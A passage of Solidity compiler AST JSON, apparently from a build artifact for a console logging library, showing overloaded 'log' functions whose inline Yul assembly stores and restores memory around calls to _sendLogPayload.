eType":"YulAssignment","src":"159568:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"159580:4:22","nodeType":"YulLiteral","src":"159580:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"159574:5:22","nodeType":"YulIdentifier","src":"159574:5:22"},"nativeSrc":"159574:11:22","nodeType":"YulFunctionCall","src":"159574:11:22"},"variableNames":[{"name":"m3","nativeSrc":"159568:2:22","nodeType":"YulIdentifier","src":"159568:2:22"}]},{"nativeSrc":"159598:17:22","nodeType":"YulAssignment","src":"159598:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"159610:4:22","nodeType":"YulLiteral","src":"159610:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"159604:5:22","nodeType":"YulIdentifier","src":"159604:5:22"},"nativeSrc":"159604:11:22","nodeType":"YulFunctionCall","src":"159604:11:22"},"variableNames":[{"name":"m4","nativeSrc":"159598:2:22","nodeType":"YulIdentifier","src":"159598:2:22"}]},{"nativeSrc":"159628:17:22","nodeType":"YulAssignment","src":"159628:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"159640:4:22","nodeType":"YulLiteral","src":"159640:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"159634:5:22","nodeType":"YulIdentifier","src":"159634:5:22"},"nativeSrc":"159634:11:22","nodeType":"YulFunctionCall","src":"159634:11:22"},"variableNames":[{"name":"m5","nativeSrc":"159628:2:22","nodeType":"YulIdentifier","src":"159628:2:22"}]},{"nativeSrc":"159658:17:22","nodeType":"YulAssignment","src":"159658:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"159670:4:22","nodeType":"YulLiteral","src":"159670:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"159664:5:22","nodeType":"YulIdentifier","src":"159664:5:22"},"nativeSrc":"159664:11:22","nodeType":"YulFunctionCall","src":"159664:11:22"},"variableNames":[{"name":"m6","nativeSrc":"159658:2:22","nodeType":"YulIdentifier","src":"159658:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"159758:4:22","nodeType":"YulLiteral","src":"159758:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"159764:10:22","nodeType":"YulLiteral","src":"159764:10:22","type":"","value":"0xd812a167"}],"functionName":{"name":"mstore","nativeSrc":"159751:6:22","nodeType":"YulIdentifier","src":"159751:6:22"},"nativeSrc":"159751:24:22","nodeType":"YulFunctionCall","src":"159751:24:22"},"nativeSrc":"159751:24:22","nodeType":"YulExpressionStatement","src":"159751:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"159795:4:22","nodeType":"YulLiteral","src":"159795:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"159801:2:22","nodeType":"YulIdentifier","src":"159801:2:22"}],"functionName":{"name":"mstore","nativeSrc":"159788:6:22","nodeType":"YulIdentifier","src":"159788:6:22"},"nativeSrc":"159788:16:22","nodeType":"YulFunctionCall","src":"159788:16:22"},"nativeSrc":"159788:16:22","nodeType":"YulExpressionStatement","src":"159788:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"159824:4:22","nodeType":"YulLiteral","src":"159824:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"159830:2:22","nodeType":"YulIdentifier","src":"159830:2:22"}],"functionName":{"name":"mstore","nativeSrc":"159817:6:22","nodeType":"YulIdentifier","src":"159817:6:22"},"nativeSrc":"159817:16:22","nodeType":"YulFunctionCall","src":"159817:16:22"},"nativeSrc":"159817:16:22","nodeType":"YulExpressionStatement","src":"159817:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"159853:4:22","nodeType":"YulLiteral","src":"159853:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"159859:2:22","nodeType":"YulIdentifier","src":"159859:2:22"}],"functionName":{"name":"mstore","nativeSrc":"159846:6:22","nodeType":"YulIdentifier","src":"159846:6:22"},"nativeSrc":"159846:16:22","nodeType":"YulFunctionCall","src":"159846:16:22"},"nativeSrc":"159846:16:22","nodeType":"YulExpressionStatement","src":"159846:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"159882:4:22","nodeType":"YulLiteral","src":"159882:4:22","type":"","value":"0x80"},{"kind":"number","nativeSrc":"159888:4:22","nodeType":"YulLiteral","src":"159888:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"159875:6:22","nodeType":"YulIdentifier","src":"159875:6:22"},"nativeSrc":"159875:18:22","nodeType":"YulFunctionCall","src":"159875:18:22"},"nativeSrc":"159875:18:22","nodeType":"YulExpressionStatement","src":"159875:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"159918:4:22","nodeType":"YulLiteral","src":"159918:4:22","type":"","value":"0xa0"},{"name":"p3","nativeSrc":"159924:2:22","nodeType":"YulIdentifier","src":"159924:2:22"}],"functionName":{"name":"writeString","nativeSrc":"159906:11:22","nodeType":"YulIdentifier","src":"159906:11:22"},"nativeSrc":"159906:21:22","nodeType":"YulFunctionCall","src":"159906:21:22"},"nativeSrc":"159906:21:22","nodeType":"YulExpressionStatement","src":"159906:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":38924,"isOffset":false,"isSlot":false,"src":"159478:2:22","valueSize":1},{"declaration":38927,"isOffset":false,"isSlot":false,"src":"159508:2:22","valueSize":1},{"declaration":38930,"isOffset":false,"isSlot":false,"src":"159538:2:22","valueSize":1},{"declaration":38933,"isOffset":false,"isSlot":false,"src":"159568:2:22","valueSize":1},{"declaration":38936,"isOffset":false,"isSlot":false,"src":"159598:2:22","valueSize":1},{"declaration":38939,"isOffset":false,"isSlot":false,"src":"159628:2:22","valueSize":1},{"declaration":38942,"isOffset":false,"isSlot":false,"src":"159658:2:22","valueSize":1},{"declaration":38914,"isOffset":false,"isSlot":false,"src":"159801:2:22","valueSize":1},{"declaration":38916,"isOffset":false,"isSlot":false,"src":"159830:2:22","valueSize":1},{"declaration":38918,"isOffset":false,"isSlot":false,"src":"159859:2:22","valueSize":1},{"declaration":38920,"isOffset":false,"isSlot":false,"src":"159924:2:22","valueSize":1}],"id":38944,"nodeType":"InlineAssembly","src":"159100:837:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":38946,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"159962:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786334","id":38947,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"159968:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"}],"id":38945,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"159946:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":38948,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"159946:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":38949,"nodeType":"ExpressionStatement","src":"159946:27:22"},{"AST":{"nativeSrc":"159992:214:22","nodeType":"YulBlock","src":"159992:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"160013:4:22","nodeType":"YulLiteral","src":"160013:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"160019:2:22","nodeType":"YulIdentifier","src":"160019:2:22"}],"functionName":{"name":"mstore","nativeSrc":"160006:6:22","nodeType":"YulIdentifier","src":"160006:6:22"},"nativeSrc":"160006:16:22","nodeType":"YulFunctionCall","src":"160006:16:22"},"nativeSrc":"160006:16:22","nodeType":"YulExpressionStatement","src":"160006:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"160042:4:22","nodeType":"YulLiteral","src":"160042:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"160048:2:22","nodeType":"YulIdentifier","src":"160048:2:22"}],"functionName":{"name":"mstore","nativeSrc":"160035:6:22","nodeType":"YulIdentifier","src":"160035:6:22"},"nativeSrc":"160035:16:22","nodeType":"YulFunctionCall","src":"160035:16:22"},"nativeSrc":"160035:16:22","nodeType":"YulExpressionStatement","src":"160035:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"160071:4:22","nodeType":"YulLiteral","src":"160071:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"160077:2:22","nodeType":"YulIdentifier","src":"160077:2:22"}],"functionName":{"name":"mstore","nativeSrc":"160064:6:22","nodeType":"YulIdentifier","src":"160064:6:22"},"nativeSrc":"160064:16:22","nodeType":"YulFunctionCall","src":"160064:16:22"},"nativeSrc":"160064:16:22","nodeType":"YulExpressionStatement","src":"160064:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"160100:4:22","nodeType":"YulLiteral","src":"160100:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"160106:2:22","nodeType":"YulIdentifier","src":"160106:2:22"}],"functionName":{"name":"mstore","nativeSrc":"160093:6:22","nodeType":"YulIdentifier","src":"160093:6:22"},"nativeSrc":"160093:16:22","nodeType":"YulFunctionCall","src":"160093:16:22"},"nativeSrc":"160093:16:22","nodeType":"YulExpressionStatement","src":"160093:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"160129:4:22","nodeType":"YulLiteral","src":"160129:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"160135:2:22","nodeType":"YulIdentifier","src":"160135:2:22"}],"functionName":{"name":"mstore","nativeSrc":"160122:6:22","nodeType":"YulIdentifier","src":"160122:6:22"},"nativeSrc":"160122:16:22","nodeType":"YulFunctionCall","src":"160122:16:22"},"nativeSrc":"160122:16:22","nodeType":"YulExpressionStatement","src":"160122:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"160158:4:22","nodeType":"YulLiteral","src":"160158:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"160164:2:22","nodeType":"YulIdentifier","src":"160164:2:22"}],"functionName":{"name":"mstore","nativeSrc":"160151:6:22","nodeType":"YulIdentifier","src":"160151:6:22"},"nativeSrc":"160151:16:22","nodeType":"YulFunctionCall","src":"160151:16:22"},"nativeSrc":"160151:16:22","nodeType":"YulExpressionStatement","src":"160151:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"160187:4:22","nodeType":"YulLiteral","src":"160187:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"160193:2:22","nodeType":"YulIdentifier","src":"160193:2:22"}],"functionName":{"name":"mstore","nativeSrc":"160180:6:22","nodeType":"YulIdentifier","src":"160180:6:22"},"nativeSrc":"160180:16:22","nodeType":"YulFunctionCall","src":"160180:16:22"},"nativeSrc":"160180:16:22","nodeType":"YulExpressionStatement","src":"160180:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":38924,"isOffset":false,"isSlot":false,"src":"160019:2:22","valueSize":1},{"declaration":38927,"isOffset":false,"isSlot":false,"src":"160048:2:22","valueSize":1},{"declaration":38930,"isOffset":false,"isSlot":false,"src":"160077:2:22","valueSize":1},{"declaration":38933,"isOffset":false,"isSlot":false,"src":"160106:2:22","valueSize":1},{"declaration":38936,"isOffset":false,"isSlot":false,"src":"160135:2:22","valueSize":1},{"declaration":38939,"isOffset":false,"isSlot":false,"src":"160164:2:22","valueSize":1},{"declaration":38942,"isOffset":false,"isSlot":false,"src":"160193:2:22","valueSize":1}],"id":38950,"nodeType":"InlineAssembly","src":"159983:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"158887:3:22","parameters":{"id":38921,"nodeType":"ParameterList","parameters":[{"constant":false,"id":38914,"mutability":"mutable","name":"p0","nameLocation":"158896:2:22","nodeType":"VariableDeclaration","scope":38952,"src":"158891:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":38913,"name":"bool","nodeType":"ElementaryTypeName","src":"158891:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":38916,"mutability":"mutable","name":"p1","nameLocation":"158908:2:22","nodeType":"VariableDeclaration","scope":38952,"src":"158900:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":38915,"name":"address","nodeType":"ElementaryTypeName","src":"158900:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":38918,"mutability":"mutable","name":"p2","nameLocation":"158920:2:22","nodeType":"VariableDeclaration","scope":38952,"src":"158912:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":38917,"name":"address","nodeType":"ElementaryTypeName","src":"158912:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":38920,"mutability":"mutable","name":"p3","nameLocation":"158932:2:22","nodeType":"VariableDeclaration","scope":38952,"src":"158924:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38919,"name":"bytes32","nodeType":"ElementaryTypeName","src":"158924:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"158890:45:22"},"returnParameters":{"id":38922,"nodeType":"ParameterList","parameters":[],"src":"158950:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":38986,"nodeType":"FunctionDefinition","src":"160218:780:22","nodes":[],"body":{"id":38985,"nodeType":"Block","src":"160287:711:22","nodes":[],"statements":[{"assignments":[38964],"declarations":[{"constant":false,"id":38964,"mutability":"mutable","name":"m0","nameLocation":"160305:2:22","nodeType":"VariableDeclaration","scope":38985,"src":"160297:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38963,"name":"bytes32","nodeType":"ElementaryTypeName","src":"160297:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38965,"nodeType":"VariableDeclarationStatement","src":"160297:10:22"},{"assignments":[38967],"declarations":[{"constant":false,"id":38967,"mutability":"mutable","name":"m1","nameLocation":"160325:2:22","nodeType":"VariableDeclaration","scope":38985,"src":"160317:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38966,"name":"bytes32","nodeType":"ElementaryTypeName","src":"160317:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38968,"nodeType":"VariableDeclarationStatement","src":"160317:10:22"},{"assignments":[38970],"declarations":[{"constant":false,"id":38970,"mutability":"mutable","name":"m2","nameLocation":"160345:2:22","nodeType":"VariableDeclaration","scope":38985,"src":"160337:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38969,"name":"bytes32","nodeType":"ElementaryTypeName","src":"160337:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38971,"nodeType":"VariableDeclarationStatement","src":"160337:10:22"},{"assignments":[38973],"declarations":[{"constant":false,"id":38973,"mutability":"mutable","name":"m3","nameLocation":"160365:2:22","nodeType":"VariableDeclaration","scope":38985,"src":"160357:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38972,"name":"bytes32","nodeType":"ElementaryTypeName","src":"160357:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38974,"nodeType":"VariableDeclarationStatement","src":"160357:10:22"},{"assignments":[38976],"declarations":[{"constant":false,"id":38976,"mutability":"mutable","name":"m4","nameLocation":"160385:2:22","nodeType":"VariableDeclaration","scope":38985,"src":"160377:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38975,"name":"bytes32","nodeType":"ElementaryTypeName","src":"160377:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38977,"nodeType":"VariableDeclarationStatement","src":"160377:10:22"},{"AST":{"nativeSrc":"160406:375:22","nodeType":"YulBlock","src":"160406:375:22","statements":[{"nativeSrc":"160420:17:22","nodeType":"YulAssignment","src":"160420:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"160432:4:22","nodeType":"YulLiteral","src":"160432:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"160426:5:22","nodeType":"YulIdentifier","src":"160426:5:22"},"nativeSrc":"160426:11:22","nodeType":"YulFunctionCall","src":"160426:11:22"},"variableNames":[{"name":"m0","nativeSrc":"160420:2:22","nodeType":"YulIdentifier","src":"160420:2:22"}]},{"nativeSrc":"160450:17:22","nodeType":"YulAssignment","src":"160450:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"160462:4:22","nodeType":"YulLiteral","src":"160462:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"160456:5:22","nodeType":"YulIdentifier","src":"160456:5:22"},"nativeSrc":"160456:11:22","nodeType":"YulFunctionCall","src":"160456:11:22"},"variableNames":[{"name":"m1","nativeSrc":"160450:2:22","nodeType":"YulIdentifier","src":"160450:2:22"}]},{"nativeSrc":"160480:17:22","nodeType":"YulAssignment","src":"160480:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"160492:4:22","nodeType":"YulLiteral","src":"160492:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"160486:5:22","nodeType":"YulIdentifier","src":"160486:5:22"},"nativeSrc":"160486:11:22","nodeType":"YulFunctionCall","src":"160486:11:22"},"variableNames":[{"name":"m2","nativeSrc":"160480:2:22","nodeType":"YulIdentifier","src":"160480:2:22"}]},{"nativeSrc":"160510:17:22","nodeType":"YulAssignment","src":"160510:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"160522:4:22","nodeType":"YulLiteral","src":"160522:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"160516:5:22","nodeType":"YulIdentifier","src":"160516:5:22"},"nativeSrc":"160516:11:22","nodeType":"YulFunctionCall","src":"160516:11:22"},"variableNames":[{"name":"m3","nativeSrc":"160510:2:22","nodeType":"YulIdentifier","src":"160510:2:22"}]},{"nativeSrc":"160540:17:22","nodeType":"YulAssignment","src":"160540:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"160552:4:22","nodeType":"YulLiteral","src":"160552:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"160546:5:22","nodeType":"YulIdentifier","src":"160546:5:22"},"nativeSrc":"160546:11:22","nodeType":"YulFunctionCall","src":"160546:11:22"},"variableNames":[{"name":"m4","nativeSrc":"160540:2:22","nodeType":"YulIdentifier","src":"160540:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"160638:4:22","nodeType":"YulLiteral","src":"160638:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"160644:10:22","nodeType":"YulLiteral","src":"160644:10:22","type":"","value":"0x1c41a336"}],"functionName":{"name":"mstore","nativeSrc":"160631:6:22","nodeType":"YulIdentifier","src":"160631:6:22"},"nativeSrc":"160631:24:22","nodeType":"YulFunctionCall","src":"160631:24:22"},"nativeSrc":"160631:24:22","nodeType":"YulExpressionStatement","src":"160631:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"160675:4:22","nodeType":"YulLiteral","src":"160675:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"160681:2:22","nodeType":"YulIdentifier","src":"160681:2:22"}],"functionName":{"name":"mstore","nativeSrc":"160668:6:22","nodeType":"YulIdentifier","src":"160668:6:22"},"nativeSrc":"160668:16:22","nodeType":"YulFunctionCall","src":"160668:16:22"},"nativeSrc":"160668:16:22","nodeType":"YulExpressionStatement","src":"160668:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"160704:4:22","nodeType":"YulLiteral","src":"160704:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"160710:2:22","nodeType":"YulIdentifier","src":"160710:2:22"}],"functionName":{"name":"mstore","nativeSrc":"160697:6:22","nodeType":"YulIdentifier","src":"160697:6:22"},"nativeSrc":"160697:16:22","nodeType":"YulFunctionCall","src":"160697:16:22"},"nativeSrc":"160697:16:22","nodeType":"YulExpressionStatement","src":"160697:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"160733:4:22","nodeType":"YulLiteral","src":"160733:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"160739:2:22","nodeType":"YulIdentifier","src":"160739:2:22"}],"functionName":{"name":"mstore","nativeSrc":"160726:6:22","nodeType":"YulIdentifier","src":"160726:6:22"},"nativeSrc":"160726:16:22","nodeType":"YulFunctionCall","src":"160726:16:22"},"nativeSrc":"160726:16:22","nodeType":"YulExpressionStatement","src":"160726:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"160762:4:22","nodeType":"YulLiteral","src":"160762:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"160768:2:22","nodeType":"YulIdentifier","src":"160768:2:22"}],"functionName":{"name":"mstore","nativeSrc":"160755:6:22","nodeType":"YulIdentifier","src":"160755:6:22"},"nativeSrc":"160755:16:22","nodeType":"YulFunctionCall","src":"160755:16:22"},"nativeSrc":"160755:16:22","nodeType":"YulExpressionStatement","src":"160755:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":38964,"isOffset":false,"isSlot":false,"src":"160420:2:22","valueSize":1},{"declaration":38967,"isOffset":false,"isSlot":false,"src":"160450:2:22","valueSize":1},{"declaration":38970,"isOffset":false,"isSlot":false,"src":"160480:2:22","valueSize":1},{"declaration":38973,"isOffset":false,"isSlot":false,"src":"160510:2:22","valueSize":1},{"declaration":38976,"isOffset":false,"isSlot":false,"src":"160540:2:22","valueSize":1},{"declaration":38954,"isOffset":false,"isSlot":false,"src":"160681:2:22","valueSize":1},{"declaration":38956,"isOffset":false,"isSlot":false,"src":"160710:2:22","valueSize":1},{"declaration":38958,"isOffset":false,"isSlot":false,"src":"160739:2:22","valueSize":1},{"declaration":38960,"isOffset":false,"isSlot":false,"src":"160768:2:22","valueSize":1}],"id":38978,"nodeType":"InlineAssembly","src":"160397:384:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":38980,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"160806:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783834","id":38981,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"160812:4:22","typeDescriptions":{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"},"value":"0x84"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"}],"id":38979,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"160790:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":38982,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"160790:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":38983,"nodeType":"ExpressionStatement","src":"160790:27:22"},{"AST":{"nativeSrc":"160836:156:22","nodeType":"YulBlock","src":"160836:156:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"160857:4:22","nodeType":"YulLiteral","src":"160857:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"160863:2:22","nodeType":"YulIdentifier","src":"160863:2:22"}],"functionName":{"name":"mstore","nativeSrc":"160850:6:22","nodeType":"YulIdentifier","src":"160850:6:22"},"nativeSrc":"160850:16:22","nodeType":"YulFunctionCall","src":"160850:16:22"},"nativeSrc":"160850:16:22","nodeType":"YulExpressionStatement","src":"160850:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"160886:4:22","nodeType":"YulLiteral","src":"160886:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"160892:2:22","nodeType":"YulIdentifier","src":"160892:2:22"}],"functionName":{"name":"mstore","nativeSrc":"160879:6:22","nodeType":"YulIdentifier","src":"160879:6:22"},"nativeSrc":"160879:16:22","nodeType":"YulFunctionCall","src":"160879:16:22"},"nativeSrc":"160879:16:22","nodeType":"YulExpressionStatement","src":"160879:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"160915:4:22","nodeType":"YulLiteral","src":"160915:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"160921:2:22","nodeType":"YulIdentifier","src":"160921:2:22"}],"functionName":{"name":"mstore","nativeSrc":"160908:6:22","nodeType":"YulIdentifier","src":"160908:6:22"},"nativeSrc":"160908:16:22","nodeType":"YulFunctionCall","src":"160908:16:22"},"nativeSrc":"160908:16:22","nodeType":"YulExpressionStatement","src":"160908:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"160944:4:22","nodeType":"YulLiteral","src":"160944:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"160950:2:22","nodeType":"YulIdentifier","src":"160950:2:22"}],"functionName":{"name":"mstore","nativeSrc":"160937:6:22","nodeType":"YulIdentifier","src":"160937:6:22"},"nativeSrc":"160937:16:22","nodeType":"YulFunctionCall","src":"160937:16:22"},"nativeSrc":"160937:16:22","nodeType":"YulExpressionStatement","src":"160937:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"160973:4:22","nodeType":"YulLiteral","src":"160973:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"160979:2:22","nodeType":"YulIdentifier","src":"160979:2:22"}],"functionName":{"name":"mstore","nativeSrc":"160966:6:22","nodeType":"YulIdentifier","src":"160966:6:22"},"nativeSrc":"160966:16:22","nodeType":"YulFunctionCall","src":"160966:16:22"},"nativeSrc":"160966:16:22","nodeType":"YulExpressionStatement","src":"160966:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":38964,"isOffset":false,"isSlot":false,"src":"160863:2:22","valueSize":1},{"declaration":38967,"isOffset":false,"isSlot":false,"src":"160892:2:22","valueSize":1},{"declaration":38970,"isOffset":false,"isSlot":false,"src":"160921:2:22","valueSize":1},{"declaration":38973,"isOffset":false,"isSlot":false,"src":"160950:2:22","valueSize":1},{"declaration":38976,"isOffset":false,"isSlot":false,"src":"160979:2:22","valueSize":1}],"id":38984,"nodeType":"InlineAssembly","src":"160827:165:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"160227:3:22","parameters":{"id":38961,"nodeType":"ParameterList","parameters":[{"constant":false,"id":38954,"mutability":"mutable","name":"p0","nameLocation":"160236:2:22","nodeType":"VariableDeclaration","scope":38986,"src":"160231:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":38953,"name":"bool","nodeType":"ElementaryTypeName","src":"160231:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":38956,"mutability":"mutable","name":"p1","nameLocation":"160248:2:22","nodeType":"VariableDeclaration","scope":38986,"src":"160240:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":38955,"name":"address","nodeType":"ElementaryTypeName","src":"160240:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":38958,"mutability":"mutable","name":"p2","nameLocation":"160257:2:22","nodeType":"VariableDeclaration","scope":38986,"src":"160252:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":38957,"name":"bool","nodeType":"ElementaryTypeName","src":"160252:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":38960,"mutability":"mutable","name":"p3","nameLocation":"160269:2:22","nodeType":"VariableDeclaration","scope":38986,"src":"160261:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":38959,"name":"address","nodeType":"ElementaryTypeName","src":"160261:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"160230:42:22"},"returnParameters":{"id":38962,"nodeType":"ParameterList","parameters":[],"src":"160287:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":39020,"nodeType":"FunctionDefinition","src":"161004:774:22","nodes":[],"body":{"id":39019,"nodeType":"Block","src":"161070:708:22","nodes":[],"statements":[{"assignments":[38